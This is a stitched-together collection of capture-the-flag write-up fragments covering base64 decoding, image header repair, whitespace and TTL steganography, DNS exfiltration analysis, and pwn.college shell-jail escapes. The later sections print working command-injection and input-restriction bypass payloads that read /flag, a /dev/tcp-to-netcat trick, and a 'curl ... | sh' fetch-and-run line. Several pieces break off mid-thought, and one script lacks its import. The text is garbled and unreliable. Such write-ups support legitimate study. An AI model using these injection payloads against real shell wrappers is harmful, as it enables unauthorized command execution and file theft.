A secret message has been passed down through generations since the
time of the great Mahabharata war. Legend says that every 64 years, the
keepers of this secret would encode the message once more to protect it
from those who might seek to misuse its power. The message has traveled
through 3136 years of history, from the ancient battlefields of
Kurukshetra in 3136 BCE to the dawn of the Common Era.
Initial Analysis
The challenge provides two main clues:
Mathematical Clue: The message has existed for 3136
years and was re-encoded every 64 years. $$\frac{3136}{64} = 49$$ This suggests the
message has been recursively encoded 49 times.
File Inspection: The provided file
secret_message.txt is large (~59MB) and starts with the
characters Vm0wd2Qy..., which is a classic signature for
multiple layers of Base64 encoding.
Extraction & Decoding
We can use a Python script to iteratively decode the file 49 times.
Each layer of decoding reduces the file size until the final plaintext
flag is revealed.
defsolve(): # Read the initial encoded data withopen('secret_message.txt', 'r') as f: data = f.read().strip()
# Iteratively decode 49 times print("[*] Starting iterative Base64 decoding...") for i inrange(49): try: data = base64.b64decode(data).decode('utf-8') except Exception as e: print(f"[-] Error at iteration {i+1}: {e}") break
The challenge hint “Kashi kings hate 184” suggests that the height of
the image (currently 150) has been tampered with and should likely be
184.
Extraction & Decoding
Netpbm (PPM) files use a plain-text header. We can repair the height
by editing the file header. Opening the file in a hex editor or a text
editor like vim (using :set binary or simply
editing the ASCII header) reveals:
1 2 3 4
P6 284 150 255 [Binary Data...]
Change the height value from 150 to
184:
1 2 3 4
P6 284 184 255 [Binary Data...]
After saving the change, the image can be opened with a standard
image viewer to reveal the flag.
Wait, you forgot to give me the Advent calendar!?!?! And what is that
supposed to mean, I should have opened the doors up until today?? Ugh,
okay, then I’ll start: Door 1
Investigation
The hint suggests that we need to visit the “doors” of the Advent
calendar. The URL structure was identified as:
I like to have my poems saved on CTFd instances like this. But the
admin does like it, so I hid the secret in my poem.
Solution
The provided poem contains a significant amount of trailing tabs and
spaces at the end of each line. This is a classic indication of
SNOW (Steganographic Nature Of Whitespace)
steganography.
By using a SNOW decoder (such as the web-based snow.js
decoder), we can extract the hidden message from the poem text:
1 2 3 4 5 6 7 8 9 10 11 12 13
The way a crow Shook down on me The dust of snow From a hemlock tree Has given my heart A change of mood And saved some part Of a day I had rued.
Home Page Source: Inspecting the HTML source
code of the main landing page
https://kashictf.iitbhucybersec.in/ revealed the second
part hidden inside a comment:
A network analysis challenge where data was exfiltrated via DNS
queries.
Challenge Description
A network capture was obtained from an internal monitoring system
after suspicious activity was detected. The traffic appears mostly
benign, but analysts believe data was covertly exfiltrated during normal
communication.
Initial Reconnaissance
Checking the protocol distribution of the capture.pcap
file using tshark:
1
tshark -r capture.pcap -q -z io,phs
The output confirms that 100% of the traffic is DNS,
indicating that DNS is being used as a tunnel for exfiltration.
DNS Query Analysis
Extracting the DNS query names reveals two distinct patterns: 1.
Repetitive queries for common domains like kashi.com and
amazon.com (likely noise). 2. High-entropy subdomains under
.exfil.internal.
A forensics challenge involving network traffic analysis and IP
Time-to-Live (TTL) steganography.
Challenge Description
A packet capture was collected from an internal network segment
during routine monitoring. No alerts were triggered at the time, and the
traffic appears largely normal. Your task is to analyze the capture and
determine whether any meaningful information can be recovered.
Initial Analysis
The provided file ttl_stego.pcap contains a series of
ICMP Echo (ping) requests. While the payloads appear standard, the IP
Time-to-Live (TTL) values fluctuate between 64 and
65, suggesting binary data is encoded in these
variations.
The TTL values can be mapped to binary bits: - 64→0 - 65→1
We can extract the full sequence of TTLs and decode them using a
Python script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import sys
# Extract TTLs using: tshark -r ttl_stego.pcap -T fields -e ip.ttl > ttls.txt withopen('ttls.txt', 'r') as f: ttls = [int(line.strip()) for line in f if line.strip()]
# Convert TTLs to bits bits = "".join(['0'if t == 64else'1'for t in ttls])
# Convert bits to characters (8 bits per byte) flag = "" for i inrange(0, len(bits), 8): byte = bits[i:i+8] iflen(byte) == 8: flag += chr(int(byte, 2))
ubuntu@other~the-flag-resting-safely:~$ /challenge/run /dev/tcp/localhost/1337 stat: cannot statx '/dev/tcp': No such file or directory /challenge/run: line 16: [: ==: unary operator expected stat: cannot statx '/dev/tcp': No such file or directory /challenge/run: line 17: [: ==: unary operator expected stat: cannot statx '/dev/tcp': No such file or directory
ubuntu@other~the-flag-resting-safely:~$ nc -lvp 1337 nc: getnameinfo: Temporary failure in name resolution Connection received on localhost 39398 pwn.college{********************************************}
exec /bin/bash --restricted --init-file /challenge/.yanjail ubuntu@other~the-scream-of-silence:~$ cat /challenge/.yanjail # This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
ubuntu@other~the-scream-of-silence:~$ /challenge/run NO WAY OUT: exit() { A=1; } NO WAY OUT: $(< /flag) bash: pwn.college{********************************************}: command not found
# good installer scripts should just touch a bunch of files grep -E '^(touch|echo|sleep) [0-9a-zA-Z]*$' script.sh > sanitized_script.sh if ! diff script.sh sanitized_script.sh then echo"Looks like there are some shenanigans in your script. Aborting!" rm -f /flag exit 1 fi }
echo"Thoroughly checking your install script for shenanigans..." i=0 MAX=$(($RANDOM%1000+1337)) while [ "$i" -lt "$MAX" ] do check_script echo -ne "\rChecked for the $((i++))th time... " done
curl -s http://challenge.localhost:1337/install.sh | sh
if [[ "$1" =~ $regex ]] then RESULT=$[$1] exit$RESULT # If there are more than one argument, the exit status is 1, and the shell does not exit. else exit 0 fi
cat /flag
1 2 3
ubuntu@other~beam-me-up-sensei:~$ /challenge/run "1/0" /challenge/run: line 7: 1/0: division by 0 (error token is "0") pwn.college{**********************************************}
In the realm of the shell, brutal input restrictions may seem to be
impenetrable walls, the unyielding gatekeepers of commands. Yet, to the
adept practitioner, these walls are but illusions, mere whispers of
constraints. With cunning and a deep understanding of the shell’s inner
workings, one can bypass these seeming obstructions. Like a river
flowing around a stone, the input, seemingly restricted, finds its own
path. Embrace this lesson and realize that in the shell, as in life,
perceived limitations are often just opportunities for creative
solutions.
ubuntu@input-restrictions~dance-of-the-disallowed:~$ /challenge/run __=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________$_______???? nl: /boot: Is a directory 1 pwn.college{********************************************} nl: /home: Is a directory nl: /proc: Is a directory nl: /root: Is a directory nl: /sbin: Is a directory
当你在终端输入了一半的命令,突然觉得太长太复杂,你可以按下特定的快捷键。Bash
会立刻把你当前敲击的内容保存到一个临时文件中,并用系统默认的编辑器(vi、nano
或 emacs, in this dojo we use
ed)打开它。当你保存并退出编辑器时,Bash 会直接以当前 Shell
的权限执行文件里的命令